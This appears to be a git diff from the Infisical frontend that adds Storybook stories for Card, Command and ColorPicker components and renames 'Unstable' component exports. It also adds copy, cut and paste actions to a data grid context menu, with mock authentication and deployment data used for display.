+                <DropdownMenuContent align="end">
+                  <DropdownMenuItem>
+                    <EditIcon />
+                    Edit Auth Method
+                  </DropdownMenuItem>
+                  <DropdownMenuItem variant="danger">
+                    <TrashIcon />
+                    Remove Auth Method
+                  </DropdownMenuItem>
+                </DropdownMenuContent>
+              </DropdownMenu>
+            </AccordionTrigger>
+            <AccordionContent>
+              <div className="grid grid-cols-2 gap-3">
+                <Detail>
+                  <DetailLabel>Access Token TTL (seconds)</DetailLabel>
+                  <DetailValue>2592000</DetailValue>
+                </Detail>
+                <Detail>
+                  <DetailLabel>Access Token Max TTL (seconds)</DetailLabel>
+                  <DetailValue>5184000</DetailValue>
+                </Detail>
+                <Detail>
+                  <DetailLabel>Max Number of Uses</DetailLabel>
+                  <DetailValue>Unlimited</DetailValue>
+                </Detail>
+                <Detail>
+                  <DetailLabel>Trusted IPs</DetailLabel>
+                  <DetailValue>0.0.0.0/0</DetailValue>
+                </Detail>
+              </div>
+            </AccordionContent>
+          </AccordionItem>
+          <AccordionItem value="kubernetes-auth">
+            <AccordionTrigger>
+              <span className="mr-auto">Kubernetes Auth</span>
+              <Badge isSquare variant="danger" className="mr-2">
+                <LockIcon />
+              </Badge>
+              <DropdownMenu>
+                <DropdownMenuTrigger
+                  asChild
+                  onClick={(e) => e.stopPropagation()}
+                  aria-label="Kubernetes Auth options"
+                >
+                  <IconButton variant="ghost" size="xs">
+                    <EllipsisIcon />
+                  </IconButton>
+                </DropdownMenuTrigger>
+                <DropdownMenuContent align="end">
+                  <DropdownMenuItem>
+                    <EditIcon />
+                    Edit Auth Method
+                  </DropdownMenuItem>
+                  <DropdownMenuItem variant="danger">
+                    <TrashIcon />
+                    Remove Auth Method
+                  </DropdownMenuItem>
+                </DropdownMenuContent>
+              </DropdownMenu>
+            </AccordionTrigger>
+            <AccordionContent>
+              <div className="grid grid-cols-2 gap-3">
+                <Detail>
+                  <DetailLabel>Kubernetes Host</DetailLabel>
+                  <DetailValue>https://kubernetes.default.svc</DetailValue>
+                </Detail>
+                <Detail>
+                  <DetailLabel>Token Reviewer JWT</DetailLabel>
+                  <DetailValue className="tracking-widest">••••••••••••</DetailValue>
+                </Detail>
+                <Detail>
+                  <DetailLabel>Allowed Namespaces</DetailLabel>
+                  <DetailValue>default, infisical</DetailValue>
+                </Detail>
+                <Detail>
+                  <DetailLabel>Lockout</DetailLabel>
+                  <DetailValue>
+                    <Badge variant="danger">Active</Badge>
+                  </DetailValue>
+                </Detail>
+              </div>
+            </AccordionContent>
+          </AccordionItem>
+          <AccordionItem value="oidc-auth">
+            <AccordionTrigger>
+              <span className="mr-auto">OIDC Auth</span>
+              <DropdownMenu>
+                <DropdownMenuTrigger
+                  asChild
+                  onClick={(e) => e.stopPropagation()}
+                  aria-label="OIDC Auth options"
+                >
+                  <IconButton variant="ghost" size="xs">
+                    <EllipsisIcon />
+                  </IconButton>
+                </DropdownMenuTrigger>
+                <DropdownMenuContent align="end">
+                  <DropdownMenuItem>
+                    <EditIcon />
+                    Edit Auth Method
+                  </DropdownMenuItem>
+                  <DropdownMenuItem variant="danger">
+                    <TrashIcon />
+                    Remove Auth Method
+                  </DropdownMenuItem>
+                </DropdownMenuContent>
+              </DropdownMenu>
+            </AccordionTrigger>
+            <AccordionContent>
+              <div className="grid grid-cols-2 gap-3">
+                <Detail>
+                  <DetailLabel>Discovery URL</DetailLabel>
+                  <DetailValue>https://accounts.google.com</DetailValue>
+                </Detail>
+                <Detail>
+                  <DetailLabel>Bound Issuer</DetailLabel>
+                  <DetailValue>https://accounts.google.com</DetailValue>
+                </Detail>
+                <Detail>
+                  <DetailLabel>Bound Audiences</DetailLabel>
+                  <DetailValue>infisical-identity</DetailValue>
+                </Detail>
+                <Detail>
+                  <DetailLabel>Lockout</DetailLabel>
+                  <DetailValue>Disabled</DetailValue>
+                </Detail>
+              </div>
+            </AccordionContent>
+          </AccordionItem>
+        </Accordion>
+      </CardContent>
+    </Card>
+  )
+};
+
+export const WithTable: Story = {
+  name: "Example: With Table",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Embed a `Table` in `CardContent` to present tabular data alongside other card elements. The table brings its own border, so the card reads as a labelled wrapper around it."
+      }
+    }
+  },
+  render: (args) => (
+    <Card {...args} className="w-[600px]">
+      <CardHeader>
+        <CardTitle>Recent Deployments</CardTitle>
+        <CardDescription>The last five releases pushed to production.</CardDescription>
+        <CardAction>
+          <Button variant="outline" size="sm">
+            View all
+          </Button>
+        </CardAction>
+      </CardHeader>
+      <CardContent>
+        <Table>
+          <TableHeader>
+            <TableRow>
+              <TableHead>Version</TableHead>
+              <TableHead>Author</TableHead>
+              <TableHead>Status</TableHead>
+              <TableHead>Deployed</TableHead>
+            </TableRow>
+          </TableHeader>
+          <TableBody>
+            <TableRow>
+              <TableCell>v2.14.0</TableCell>
+              <TableCell>cory</TableCell>
+              <TableCell>
+                <Badge variant="success">Success</Badge>
+              </TableCell>
+              <TableCell>2h ago</TableCell>
+            </TableRow>
+            <TableRow>
+              <TableCell>v2.13.2</TableCell>
+              <TableCell>ellen</TableCell>
+              <TableCell>
+                <Badge variant="success">Success</Badge>
+              </TableCell>
+              <TableCell>1d ago</TableCell>
+            </TableRow>
+            <TableRow>
+              <TableCell>v2.13.1</TableCell>
+              <TableCell>alice</TableCell>
+              <TableCell>
+                <Badge variant="danger">Failed</Badge>
+              </TableCell>
+              <TableCell>2d ago</TableCell>
+            </TableRow>
+            <TableRow>
+              <TableCell>v2.13.0</TableCell>
+              <TableCell>jim</TableCell>
+              <TableCell>
+                <Badge variant="success">Success</Badge>
+              </TableCell>
+              <TableCell>2d ago</TableCell>
+            </TableRow>
+            <TableRow>
+              <TableCell>v2.12.4</TableCell>
+              <TableCell>mike</TableCell>
+              <TableCell>
+                <Badge variant="warning">Partial</Badge>
+              </TableCell>
+              <TableCell>4d ago</TableCell>
+            </TableRow>
+          </TableBody>
+        </Table>
+      </CardContent>
+    </Card>
+  )
+};
+
+export const DetailPanel: Story = {
+  name: "Example: Detail Panel w/ Ghost Accordion",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "A realistic detail panel combining a `DetailGroup` with inline edit actions, a `Separator`, and a ghost `Accordion` for progressively disclosed configuration sections. Use this layout for entity detail pages where top-level fields sit above collapsible groups."
+      }
+    }
+  },
+  render: (args) => (
+    <Card {...args} className="w-[400px]">
+      <CardHeader className="border-b">
+        <CardTitle>Details</CardTitle>
+      </CardHeader>
+      <CardContent>
+        <DetailGroup>
+          <DetailGroupHeader className="flex items-center justify-between">
+            General
+            <IconButton
+              size="xs"
+              onClick={(e) => e.preventDefault()}
+              variant="ghost-muted"
+              aria-label="Edit general"
+            >
+              <EditIcon />
+            </IconButton>
+          </DetailGroupHeader>
+          <Detail>
+            <DetailLabel>Name</DetailLabel>
+            <DetailValue>ad-discovery-001</DetailValue>
+          </Detail>
+          <Detail>
+            <DetailLabel>Status</DetailLabel>
+            <DetailValue>
+              <Badge variant="success">Active</Badge>
+            </DetailValue>
+          </Detail>
+          <Detail>
+            <DetailLabel>Schedule</DetailLabel>
+            <DetailValue>Manual</DetailValue>
+          </Detail>
+          <Detail>
+            <DetailLabel>Last Run</DetailLabel>
+            <DetailValue>04/11/2026, 02:47 AM</DetailValue>
+          </Detail>
+          <Detail>
+            <DetailLabel>Created</DetailLabel>
+            <DetailValue>04/10/2026, 12:12 AM</DetailValue>
+          </Detail>
+        </DetailGroup>
+        <Separator className="mt-4" />
+        <Accordion type="multiple" variant="ghost">
+          <AccordionItem value="configuration">
+            <AccordionTrigger className="relative">
+              Configuration
+              <IconButton
+                size="xs"
+                onClick={(e) => e.preventDefault()}
+                className="absolute top-1.5 right-0"
+                variant="ghost-muted"
+                aria-label="Edit configuration"
+              >
+                <EditIcon />
+              </IconButton>
+            </AccordionTrigger>
+            <AccordionContent>
+              <DetailGroup>
+                <Detail>
+                  <DetailLabel>Gateway</DetailLabel>
+                  <DetailValue>discoverygwcf</DetailValue>
+                </Detail>
+                <Detail>
+                  <DetailLabel>Domain FQDN</DetailLabel>
+                  <DetailValue>corp.example.com</DetailValue>
+                </Detail>
+                <Detail>
+                  <DetailLabel>DC Address</DetailLabel>
+                  <DetailValue>35.163.233.187</DetailValue>
+                </Detail>
+                <Detail>
+                  <DetailLabel>LDAP Port</DetailLabel>
+                  <DetailValue className="flex items-center gap-1.5">
+                    636 <Badge variant="info">LDAPS</Badge>
+                  </DetailValue>
+                </Detail>
+                <Detail>
+                  <DetailLabel>WinRM Port</DetailLabel>
+                  <DetailValue className="flex items-center gap-1.5">
+                    5986 <Badge variant="info">HTTPS</Badge>
+                  </DetailValue>
+                </Detail>
+                <Detail>
+                  <DetailLabel>LDAP CA Certificate</DetailLabel>
+                  <DetailValue>
+                    <Badge variant="success">Provided</Badge>
+                  </DetailValue>
+                </Detail>
+                <Detail>
+                  <DetailLabel>WinRM CA Certificate</DetailLabel>
+                  <DetailValue>
+                    <Badge variant="success">Provided</Badge>
+                  </DetailValue>
+                </Detail>
+                <Detail>
+                  <DetailLabel>Dependency Discovery</DetailLabel>
+                  <DetailValue>
+                    <Badge variant="success">Enabled</Badge>
+                  </DetailValue>
+                </Detail>
+              </DetailGroup>
+            </AccordionContent>
+          </AccordionItem>
+          <AccordionItem value="credentials">
+            <AccordionTrigger className="relative">
+              Credentials
+              <IconButton
+                onClick={(e) => e.preventDefault()}
+                size="xs"
+                className="absolute top-1.5 right-0"
+                variant="ghost-muted"
+                aria-label="Edit credentials"
+              >
+                <EditIcon />
+              </IconButton>
+            </AccordionTrigger>
+            <AccordionContent>
+              <DetailGroup>
+                <Detail>
+                  <DetailLabel>Username</DetailLabel>
+                  <DetailValue>svc-discovery</DetailValue>
+                </Detail>
+                <Detail>
+                  <DetailLabel>Password</DetailLabel>
+                  <DetailValue className="tracking-widest">••••••••••••</DetailValue>
+                </Detail>
+              </DetailGroup>
+            </AccordionContent>
+          </AccordionItem>
+        </Accordion>
+      </CardContent>
+    </Card>
+  )
+};
diff --git a/frontend/src/components/v3/generic/Card/Card.tsx b/frontend/src/components/v3/generic/Card/Card.tsx
index 3a10ec5c7b7..408ad1b8643 100644
--- a/frontend/src/components/v3/generic/Card/Card.tsx
+++ b/frontend/src/components/v3/generic/Card/Card.tsx
@@ -4,7 +4,7 @@ import * as React from "react";
 
 import { cn } from "../../utils";
 
-function UnstableCard({ className, ...props }: React.ComponentProps<"div">) {
+function Card({ className, ...props }: React.ComponentProps<"div">) {
   return (
     <div
       data-slot="card"
@@ -17,13 +17,14 @@ function UnstableCard({ className, ...props }: React.ComponentProps<"div">) {
   );
 }
 
-function UnstableCardHeader({ className, ...props }: React.ComponentProps<"div">) {
+function CardHeader({ className, ...props }: React.ComponentProps<"div">) {
   return (
     <div
       data-slot="card-header"
       className={cn(
         "@container/card-header grid auto-rows-min grid-rows-[auto_auto] items-center gap-1",
-        "border-border has-data-[slot=card-action]:grid-cols-[1fr_auto] [.border-b]:pb-6",
+        "border-border [.border-b]:pb-4",
+        "has-data-[slot=card-action]:@xs:grid-cols-[1fr_auto]",
         className
       )}
       {...props}
@@ -31,7 +32,7 @@ function UnstableCardHeader({ className, ...props }: React.ComponentProps<"div">
   );
 }
 
-function UnstableCardTitle({ className, ...props }: React.ComponentProps<"div">) {
+function CardTitle({ className, ...props }: React.ComponentProps<"div">) {
   return (
     <div
       data-slot="card-title"
@@ -50,21 +51,25 @@ function CardDescription({ className, ...props }: React.ComponentProps<"div">) {
   );
 }
 
-function UnstableCardAction({ className, ...props }: React.ComponentProps<"div">) {
+function CardAction({ className, ...props }: React.ComponentProps<"div">) {
   return (
     <div
       data-slot="card-action"
-      className={cn("col-start-2 row-span-2 row-start-1 self-start justify-self-end", className)}
+      className={cn(
+        "justify-self-start",
+        "@xs:col-start-2 @xs:row-span-2 @xs:row-start-1 @xs:self-start @xs:justify-self-end",
+        className
+      )}
       {...props}
     />
   );
 }
 
-function UnstableCardContent({ className, ...props }: React.ComponentProps<"div">) {
+function CardContent({ className, ...props }: React.ComponentProps<"div">) {
   return <div data-slot="card-content" className={cn("", className)} {...props} />;
 }
 
-function UnstableCardFooter({ className, ...props }: React.ComponentProps<"div">) {
+function CardFooter({ className, ...props }: React.ComponentProps<"div">) {
   return (
     <div
       data-slot="card-footer"
@@ -74,12 +79,4 @@ function UnstableCardFooter({ className, ...props }: React.ComponentProps<"div">
   );
 }
 
-export {
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  CardDescription as UnstableCardDescription,
-  UnstableCardFooter,
-  UnstableCardHeader,
-  UnstableCardTitle
-};
+export { Card, CardAction, CardContent, CardDescription, CardFooter, CardHeader, CardTitle };
diff --git a/frontend/src/components/v3/generic/ColorPicker/ColorPicker.css b/frontend/src/components/v3/generic/ColorPicker/ColorPicker.css
new file mode 100644
index 00000000000..2544dad0902
--- /dev/null
+++ b/frontend/src/components/v3/generic/ColorPicker/ColorPicker.css
@@ -0,0 +1,22 @@
+.react-colorful {
+  height: 160px !important;
+  gap: 8px;
+}
+
+.react-colorful__saturation {
+  border-radius: 6px !important;
+  border: 1px solid var(--color-border) !important;
+}
+
+.react-colorful__hue {
+  height: 10px !important;
+  border-radius: 5px !important;
+}
+
+.react-colorful__saturation-pointer,
+.react-colorful__hue-pointer {
+  width: 16px !important;
+  height: 16px !important;
+  border: 2px solid white !important;
+  box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.3), 0 2px 4px rgba(0, 0, 0, 0.2) !important;
+}
diff --git a/frontend/src/components/v3/generic/ColorPicker/ColorPicker.tsx b/frontend/src/components/v3/generic/ColorPicker/ColorPicker.tsx
new file mode 100644
index 00000000000..0d04bdcccd4
--- /dev/null
+++ b/frontend/src/components/v3/generic/ColorPicker/ColorPicker.tsx
@@ -0,0 +1,89 @@
+import { forwardRef, useCallback, useEffect, useState } from "react";
+import { HexColorPicker } from "react-colorful";
+
+import { cn } from "../../utils";
+import { Input } from "../Input";
+import { Popover, PopoverContent, PopoverTrigger } from "../Popover";
+
+import "./ColorPicker.css";
+
+type ColorPickerProps = {
+  value?: string;
+  onChange?: (color: string) => void;
+  disabled?: boolean;
+  placeholder?: string;
+  isError?: boolean;
+  className?: string;
+};
+
+const ColorPicker = forwardRef<HTMLInputElement, ColorPickerProps>(
+  ({ value = "", onChange, disabled, placeholder = "#000000", isError, className }, ref) => {
+    const [localColor, setLocalColor] = useState(value);
+
+    useEffect(() => {
+      setLocalColor(value);
+    }, [value]);
+
+    const handlePickerChange = useCallback(
+      (color: string) => {
+        setLocalColor(color);
+        onChange?.(color);
+      },
+      [onChange]
+    );
+
+    const handleInputChange = useCallback(
+      (e: React.ChangeEvent<HTMLInputElement>) => {
+        const newValue = e.target.value;
+        setLocalColor(newValue);
+        onChange?.(newValue);
+      },
+      [onChange]
+    );
+
+    const isValidHex = /^#[0-9A-Fa-f]{6}$/.test(localColor);
+
+    return (
+      <div className={cn("flex items-center gap-2", className)}>
+        <Input
+          ref={ref}
+          value={localColor}
+          onChange={handleInputChange}
+          placeholder={placeholder}
+          disabled={disabled}
+          isError={isError}
+          className="flex-1 font-mono"
+        />
+        <Popover>
+          <PopoverTrigger asChild disabled={disabled}>
+            <button
+              type="button"
+              className={cn(
+                "size-9 shrink-0 cursor-pointer rounded-md border border-border shadow-xs transition-colors",
+                "focus-visible:border-ring focus-visible:ring-[3px] focus-visible:ring-ring/50",
+                "disabled:pointer-events-none disabled:cursor-not-allowed disabled:opacity-50",
+                !isValidHex && "bg-container"
+              )}
+              style={{
+                backgroundColor: isValidHex ? localColor : undefined
+              }}
+              disabled={disabled}
+              aria-label="Pick a color"
+            />
+          </PopoverTrigger>
+          <PopoverContent className="w-[220px] p-3" align="end">
+            <HexColorPicker
+              color={isValidHex ? localColor : "#000000"}
+              onChange={handlePickerChange}
+              className="!w-full"
+            />
+          </PopoverContent>
+        </Popover>
+      </div>
+    );
+  }
+);
+
+ColorPicker.displayName = "ColorPicker";
+
+export { ColorPicker };
diff --git a/frontend/src/components/v3/generic/ColorPicker/index.ts b/frontend/src/components/v3/generic/ColorPicker/index.ts
new file mode 100644
index 00000000000..999e14d70af
--- /dev/null
+++ b/frontend/src/components/v3/generic/ColorPicker/index.ts
@@ -0,0 +1 @@
+export * from "./ColorPicker";
diff --git a/frontend/src/components/v3/generic/Command/Command.stories.tsx b/frontend/src/components/v3/generic/Command/Command.stories.tsx
new file mode 100644
index 00000000000..d3b556dfe64
--- /dev/null
+++ b/frontend/src/components/v3/generic/Command/Command.stories.tsx
@@ -0,0 +1,280 @@
+import { useState } from "react";
+import type { Meta, StoryObj } from "@storybook/react-vite";
+import {
+  BuildingIcon,
+  CalendarIcon,
+  CheckIcon,
+  FileIcon,
+  FolderIcon,
+  LogOutIcon,
+  SettingsIcon,
+  UserIcon
+} from "lucide-react";
+
+import { Button } from "../Button";
+import { Popover, PopoverContent, PopoverTrigger } from "../Popover";
+import {
+  Command,
+  CommandDialog,
+  CommandEmpty,
+  CommandGroup,
+  CommandInput,
+  CommandItem,
+  CommandList,
+  CommandSeparator,
+  CommandShortcut
+} from "./Command";
+
+/**
+ * Command renders a fuzzy-searchable command palette — an input paired with a scrollable
+ * list of items the user can navigate with keyboard or pointer. Built on `cmdk`.
+ * Compose items into `CommandGroup`s (with optional headings) and separate groups with
+ * `CommandSeparator`. Wrap in `CommandDialog` for a global `⌘K`-style overlay, or inline
+ * in a `Popover` for contextual pickers like organization switchers.
+ */
+const meta = {
+  title: "Generic/Command",
+  component: Command,
+  parameters: {
+    layout: "centered"
+  },
+  tags: ["autodocs"],
+  argTypes: {
+    filter: {
+      table: {
+        disable: true
+      }
+    }
+  }
+} satisfies Meta<typeof Command>;
+
+export default meta;
+type Story = StoryObj<typeof meta>;
+
+export const Default: Story = {
+  name: "Example: Default",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "The baseline command palette — input + list + grouped items. Typing filters the list via the default fuzzy matcher (matches on value and any `keywords` passed to each item)."
+      }
+    }
+  },
+  render: () => (
+    <Command className="w-80 border border-border">
+      <CommandInput placeholder="Type a command or search..." />
+      <CommandList>
+        <CommandEmpty>No results found.</CommandEmpty>
+        <CommandGroup heading="Suggestions">
+          <CommandItem>
+            <CalendarIcon />
+            <span>Calendar</span>
+          </CommandItem>
+          <CommandItem>
+            <FileIcon />
+            <span>New File</span>
+          </CommandItem>
+          <CommandItem>
+            <FolderIcon />
+            <span>New Folder</span>
+          </CommandItem>
+        </CommandGroup>
+      </CommandList>
+    </Command>
+  )
+};
+
+export const WithGroups: Story = {
+  name: "Example: With Groups",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Use multiple `CommandGroup`s separated by `CommandSeparator` to organize items by category. Group headings render as small muted labels above each section."
+      }
+    }
+  },
+  render: () => (
+    <Command className="w-80 border border-border">
+      <CommandInput placeholder="Type a command or search..." />
+      <CommandList>
+        <CommandEmpty>No results found.</CommandEmpty>
+        <CommandGroup heading="Suggestions">
+          <CommandItem>
+            <CalendarIcon />
+            <span>Calendar</span>
+          </CommandItem>
+          <CommandItem>
+            <FileIcon />
+            <span>New File</span>
+          </CommandItem>
+        </CommandGroup>
+        <CommandSeparator />
+        <CommandGroup heading="Settings">
+          <CommandItem>
+            <UserIcon />
+            <span>Profile</span>
+          </CommandItem>
+          <CommandItem>
+            <SettingsIcon />
+            <span>Preferences</span>
+          </CommandItem>
+          <CommandItem>
+            <LogOutIcon />
+            <span>Log out</span>
+          </CommandItem>
+        </CommandGroup>
+      </CommandList>
+    </Command>
+  )
+};
+
+export const WithShortcuts: Story = {
+  name: "Example: With Shortcuts",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Append `CommandShortcut` inside a `CommandItem` to surface the keyboard shortcut for the action. The shortcut aligns to the right via `ml-auto`."
+      }
+    }
+  },
+  render: () => (
+    <Command className="w-80 border border-border">
+      <CommandInput placeholder="Type a command or search..." />
+      <CommandList>
+        <CommandEmpty>No results found.</CommandEmpty>
+        <CommandGroup heading="Actions">
+          <CommandItem>
+            <FileIcon />
+            <span>New File</span>
+            <CommandShortcut>⌘N</CommandShortcut>
+          </CommandItem>
+          <CommandItem>
+            <FolderIcon />
+            <span>New Folder</span>
+            <CommandShortcut>⌘⇧N</CommandShortcut>
+          </CommandItem>
+          <CommandItem>
+            <SettingsIcon />
+            <span>Preferences</span>
+            <CommandShortcut>⌘,</CommandShortcut>
+          </CommandItem>
+        </CommandGroup>
+      </CommandList>
+    </Command>
+  )
+};
+
+const AsDialogStory = () => {
+  const [open, setOpen] = useState(false);
+  return (
+    <>
+      <Button variant="outline" onClick={() => setOpen(true)}>
+        Open command palette
+        <CommandShortcut>⌘K</CommandShortcut>
+      </Button>
+      <CommandDialog className="max-w-lg" open={open} onOpenChange={setOpen}>
+        <CommandInput placeholder="Type a command or search..." />
+        <CommandList>
+          <CommandEmpty>No results found.</CommandEmpty>
+          <CommandGroup heading="Suggestions">
+            <CommandItem onSelect={() => setOpen(false)}>
+              <CalendarIcon />
+              <span>Calendar</span>
+            </CommandItem>
+            <CommandItem onSelect={() => setOpen(false)}>
+              <FileIcon />
+              <span>New File</span>
+            </CommandItem>
+          </CommandGroup>
+          <CommandSeparator />
+          <CommandGroup heading="Settings">
+            <CommandItem onSelect={() => setOpen(false)}>
+              <UserIcon />
+              <span>Profile</span>
+              <CommandShortcut>⌘P</CommandShortcut>
+            </CommandItem>
+            <CommandItem onSelect={() => setOpen(false)}>
+              <LogOutIcon />
+              <span>Log out</span>
+              <CommandShortcut>⌘⇧Q</CommandShortcut>
+            </CommandItem>
+          </CommandGroup>
+        </CommandList>
+      </CommandDialog>
+    </>
+  );
+};
+
+export const AsDialog: Story = {
+  name: "Example: As Dialog",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Wrap the command palette in `CommandDialog` for a global `⌘K`-style overlay. Pass `open` / `onOpenChange` to control visibility. The dialog applies its own spacing tweaks to make the input and items feel more substantial than inline usage."
+      }
+    }
+  },
+  render: () => <AsDialogStory />
+};
+
+const ORGANIZATIONS = [
+  { id: "1", name: "Infisical Infrastructure" },
+  { id: "2", name: "Acme Corp" },
+  { id: "3", name: "Globex" }
+];
+
+const InPopoverStory = () => {
+  const [open, setOpen] = useState(false);
+  const [selectedId, setSelectedId] = useState("1");
+  const selected = ORGANIZATIONS.find((o) => o.id === selectedId);
+  return (
+    <Popover open={open} onOpenChange={setOpen}>
+      <PopoverTrigger asChild>
+        <Button variant="outline">
+          <BuildingIcon />
+          {selected?.name ?? "Select organization"}
+        </Button>
+      </PopoverTrigger>
+      <PopoverContent align="start" sideOffset={4} className="w-80 p-0">
+        <Command>
+          <CommandInput placeholder="Search organizations..." />
+          <CommandList>
+            <CommandEmpty>No organizations found.</CommandEmpty>
+            <CommandGroup heading="Organizations">
+              {ORGANIZATIONS.map((org) => (
+                <CommandItem
+                  key={org.id}
+                  value={org.name}
+                  onSelect={() => {
+                    setSelectedId(org.id);
+                    setOpen(false);
+                  }}
+                >
+                  <CheckIcon className={org.id === selectedId ? "opacity-100" : "opacity-0"} />
+                  <span className="truncate">{org.name}</span>
+                </CommandItem>
+              ))}
+            </CommandGroup>
+          </CommandList>
+        </Command>
+      </PopoverContent>
+    </Popover>
+  );
+};
+
+export const InPopover: Story = {
+  name: "Example: In Popover",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Place an inline `Command` inside a `Popover` to build a contextual picker — the pattern used by the organization switcher in the main navbar. The check mark on the currently-selected item uses an opacity toggle so every row keeps the same horizontal rhythm."
+      }
+    }
+  },
+  render: () => <InPopoverStory />
+};
diff --git a/frontend/src/components/v3/generic/Command/Command.tsx b/frontend/src/components/v3/generic/Command/Command.tsx
index 4ddf524a315..f0e7709529d 100644
--- a/frontend/src/components/v3/generic/Command/Command.tsx
+++ b/frontend/src/components/v3/generic/Command/Command.tsx
@@ -22,7 +22,7 @@ function Command({
       data-slot="command"
       filter={filter}
       className={cn(
-        "text-popover-foreground flex h-full w-full flex-col overflow-hidden rounded-md bg-popover outline-0",
+        "flex h-full w-full flex-col overflow-hidden rounded-md bg-popover text-foreground outline-0",
         className
       )}
       {...props}
@@ -155,7 +155,7 @@ function CommandShortcut({ className, ...props }: React.ComponentProps<"span">)
   return (
     <span
       data-slot="command-shortcut"
-      className={cn("text-muted-foreground ml-auto text-xs tracking-widest", className)}
+      className={cn("ml-auto text-xs tracking-widest text-accent", className)}
       {...props}
     />
   );
diff --git a/frontend/src/components/v3/generic/DataGrid/data-grid-context-menu.tsx b/frontend/src/components/v3/generic/DataGrid/data-grid-context-menu.tsx
index 8e01c082b38..9161790cde9 100644
--- a/frontend/src/components/v3/generic/DataGrid/data-grid-context-menu.tsx
+++ b/frontend/src/components/v3/generic/DataGrid/data-grid-context-menu.tsx
@@ -1,13 +1,19 @@
 import * as React from "react";
 import type { ColumnDef, TableMeta } from "@tanstack/react-table";
-import { CircleOffIcon, EraserIcon } from "lucide-react";
+import {
+  CircleOffIcon,
+  ClipboardPasteIcon,
+  CopyIcon,
+  EraserIcon,
+  ScissorsIcon
+} from "lucide-react";
 import { toast } from "sonner";
 
 import {
-  UnstableDropdownMenu as DropdownMenu,
-  UnstableDropdownMenuContent as DropdownMenuContent,
-  UnstableDropdownMenuItem as DropdownMenuItem,
-  UnstableDropdownMenuTrigger as DropdownMenuTrigger
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger
 } from "@app/components/v3/generic/Dropdown";
 
 import { useAsRef } from "./hooks/use-as-ref";
@@ -32,6 +38,7 @@ export function DataGridContextMenu<TData>({
   const onRowsDelete = tableMeta?.onRowsDelete;
   const onCellsCopy = tableMeta?.onCellsCopy;
   const onCellsCut = tableMeta?.onCellsCut;
+  const onCellsPaste = tableMeta?.onCellsPaste;
 
   if (!contextMenu.open) return null;
 
@@ -48,6 +55,7 @@ export function DataGridContextMenu<TData>({
       onRowsDelete={onRowsDelete}
       onCellsCopy={onCellsCopy}
       onCellsCut={onCellsCut}
+      onCellsPaste={onCellsPaste}
     />
   );
 }
@@ -62,6 +70,7 @@ interface ContextMenuProps<TData>
       | "onRowsDelete"
       | "onCellsCopy"
       | "onCellsCut"
+      | "onCellsPaste"
       | "readOnly"
     >,
     Required<Pick<TableMeta<TData>, "contextMenu">> {
@@ -93,7 +102,8 @@ function ContextMenuImpl<TData>({
   onDataUpdate,
   onRowsDelete,
   onCellsCopy,
-  onCellsCut
+  onCellsCut,
+  onCellsPaste
 }: ContextMenuProps<TData>) {
   const propsRef = useAsRef({
     dataGridRef,
@@ -102,6 +112,7 @@ function ContextMenuImpl<TData>({
     onRowsDelete,
     onCellsCopy,
     onCellsCut,
+    onCellsPaste,
     columns
   });
 
@@ -132,6 +143,18 @@ function ContextMenuImpl<TData>({
     [propsRef]
   );
 
+  const onCopy = React.useCallback(() => {
+    propsRef.current.onCellsCopy?.();
+  }, [propsRef]);
+
+  const onCut = React.useCallback(() => {
+    propsRef.current.onCellsCut?.();
+  }, [propsRef]);
+
+  const onPaste = React.useCallback(() => {
+    propsRef.current.onCellsPaste?.();
+  }, [propsRef]);
+
   const onClear = React.useCallback(() => {
     // eslint-disable-next-line @typescript-eslint/no-shadow
     const { selectionState, columns, onDataUpdate } = propsRef.current;
@@ -197,14 +220,32 @@ function ContextMenuImpl<TData>({
         className="min-w-[140px] p-0.5 [&_[role=menuitem]]:gap-1.5 [&_[role=menuitem]]:px-2 [&_[role=menuitem]]:py-1 [&_[role=menuitem]]:text-xs [&_svg]:size-3"
         onCloseAutoFocus={onCloseAutoFocus}
       >
-        <DropdownMenuItem onSelect={onClear} isDisabled={tableMeta?.readOnly}>
-          <EraserIcon />
-          Clear
-        </DropdownMenuItem>
-        <DropdownMenuItem onSelect={onSetNull} isDisabled={tableMeta?.readOnly}>
-          <CircleOffIcon />
-          Set NULL
+        <DropdownMenuItem onSelect={onCopy}>
+          <CopyIcon />
+          Copy
         </DropdownMenuItem>
+        {!tableMeta?.readOnly && (
+          <>
+            <DropdownMenuItem onSelect={onCut}>
+              <ScissorsIcon />
+              Cut
+            </DropdownMenuItem>
+            {tableMeta?.enablePaste && (
+              <DropdownMenuItem onSelect={onPaste}>
+                <ClipboardPasteIcon />
+                Paste
+              </DropdownMenuItem>
+            )}
+            <DropdownMenuItem onSelect={onClear}>
+              <EraserIcon />
+              Clear
+            </DropdownMenuItem>
+            <DropdownMenuItem onSelect={onSetNull}>
+              <CircleOffIcon />
+              Set NULL
+            </DropdownMenuItem>
+          </>
+        )}
       </DropdownMenuContent>
     </DropdownMenu>
   );
diff --git a/frontend/src/components/v3/generic/DataGrid/data-grid-keyboard-shortcuts.tsx b/frontend/src/components/v3/generic/DataGrid/data-grid-keyboard-shortcuts.tsx
index eff6af5c00d..6d0c59a3971 100644
--- a/frontend/src/components/v3/generic/DataGrid/data-grid-keyboard-shortcuts.tsx
+++ b/frontend/src/components/v3/generic/DataGrid/data-grid-keyboard-shortcuts.tsx
@@ -10,8 +10,8 @@ import {
   DialogHeader,
   DialogTitle
 } from "@app/components/v3/generic/Dialog";
-import { UnstableInput as Input } from "@app/components/v3/generic/Input";
-import { UnstableSeparator as Separator } from "@app/components/v3/generic/Separator";
+import { Input } from "@app/components/v3/generic/Input";
+import { Separator } from "@app/components/v3/generic/Separator";
 
 import { Kbd, KbdGroup } from "./ui/kbd";
 
diff --git a/frontend/src/components/v3/generic/DataGrid/data-grid-search.tsx b/frontend/src/components/v3/generic/DataGrid/data-grid-search.tsx
index 385b6702ec7..0ecdefde4c4 100644
--- a/frontend/src/components/v3/generic/DataGrid/data-grid-search.tsx
+++ b/frontend/src/components/v3/generic/DataGrid/data-grid-search.tsx
@@ -2,7 +2,7 @@ import * as React from "react";
